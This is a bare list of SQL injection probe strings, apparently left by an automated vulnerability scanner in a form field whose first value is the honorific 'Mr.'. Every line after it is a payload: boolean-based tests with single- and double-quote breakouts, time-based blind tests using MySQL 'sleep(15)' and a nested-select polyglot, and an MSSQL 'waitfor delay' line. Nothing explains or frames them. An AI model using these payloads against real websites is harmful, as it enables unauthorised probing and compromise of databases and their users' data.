Mr.

-1 OR 2+449-449-1=0+0+0+1 --

-1 OR 2+505-505-1=0+0+0+1

-1' OR 2+27-27-1=0+0+0+1 --

-1' OR 2+901-901-1=0+0+0+1 or 'O2gXuVPP'='

-1" OR 2+479-479-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --